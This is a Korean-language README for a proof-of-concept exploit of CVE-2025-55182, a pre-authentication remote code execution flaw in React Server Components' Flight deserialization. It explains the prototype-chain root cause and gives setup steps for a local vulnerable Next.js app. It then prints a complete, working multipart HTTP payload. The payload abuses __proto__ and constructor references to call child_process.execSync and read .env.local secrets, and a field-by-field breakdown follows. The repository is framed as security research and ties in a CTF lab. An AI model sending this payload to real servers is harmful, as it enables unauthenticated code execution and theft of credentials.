
이 저장소는 CVE-2025-55182의 POC를 포함합니다. 이는 React Server Components에 영향을 미치는 치명적인 (CVSS 점수 10.0) 인증 전 원격 코드 실행 취약점으로, React2Shell로도 알려져 있습니다.
⚠️ 경고: 이 저장소는 교육 및 보안 연구 목적으로만 사용됩니다. 소유하지 않거나 테스트할 명시적 허가가 없는 시스템에 대해 이 익스플로잇을 사용하지 마십시오.
이 저장소는 React 서버 컴포넌트에 영향을 미치는 중요한 사전 인증 원격 코드 실행 취약점인 CVE-2025-55182의 개념 증명 데모를 포함하고 있습니다.
CVSS 점수: 10.0 (심각)
영향 받는 버전:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182는 React 서버 컴포넌트의 Flight 프로토콜 구현에서 발생하는 안전하지 않은 역직렬화 취약점입니다. 이 취약점으로 인해 인증되지 않은 공격자가 프로토타입 체인 탐색 및 안전하지 않은 속성 접근 패턴을 악용하는 악성 페이로드를 제작하여 서버에서 임의의 JavaScript 코드를 실행할 수 있습니다.
취약점은 React 서버 컴포넌트가 Flight 프로토콜 페이로드를 역직렬화하는 방식에서 비롯됩니다. 모듈 참조를 처리할 때 코드는 대괄호 표기법을 사용하여 속성에 접근(moduleExports[metadata[2]])하며, 이는 전체 JavaScript 프로토타입 체인을 탐색합니다. 이를 통해 공격자는 명시적으로 내보내지 않은 속성(전역 Function 생성자에 접근할 수 있는 constructor 속성 포함)을 참조할 수 있습니다.
프로토타입 오염 기술을 React의 내부 청크 처리 메커니즘과 연결함으로써 공격자는 궁극적으로 Function 생성자를 통해 임의 코드를 실행하는 페이로드를 구성할 수 있습니다.
취약한 React 서버 컴포넌트가 포함된 버전을 사용하여 새 프로젝트를 생성합니다:
npx [email protected] poc-react2shell
cd poc-react2shell
또는 해당 저장소를 사용하세요.
취약점의 영향을 보여주기 위해 프로젝트 루트에 .env.local 파일을 생성합니다:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Next.js 개발 서버를 시작합니다:
npm run dev
서버는 http://localhost:3000에서 시작됩니다.
http://localhost:3000/로 설정합니다POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
응답 본문에 .env.local 파일의 내용이 포함되어야 합니다:

페이로드는 세 개의 멀티파트 폼 필드로 구성됩니다:
필드 0: 다음을 포함하는 가짜 청크 객체:
$1:__proto__:then)$B1337)_prefix 및 _formData.get이 포함된 오염된 _response 객체필드 1: 필드 0에 대한 참조 ($@0)
필드 2: 빈 배열 ([])
_prefix의 악성 코드는 Node.js의 child_process.execSync를 사용하여 .env.local을 읽고 결과를 오류 다이제스트에 포함시킵니다.
이 취약점으로 인해 공격자는 다음을 수행할 수 있습니다:
실제 시나리오에서 이 CVE 연습하기
CVE-2025-55182를 hands-on CTF 환경에서 익스플로잇하고 싶으신가요? 공격적 보안 훈련을 위해 의도적으로 취약하게 설계된 실습 환경인 **OSS OopsSec Store**를 확인해보세요. 이 CVE는 플래그 중 하나로 구현되어 있습니다!
이 개념 증명은 교육 목적 및 보안 연구 용도로만 제공됩니다. 모든 시스템에서 보안 취약점을 테스트하기 전에 항상 명시적인 서면 허가를 받았는지 확인하십시오.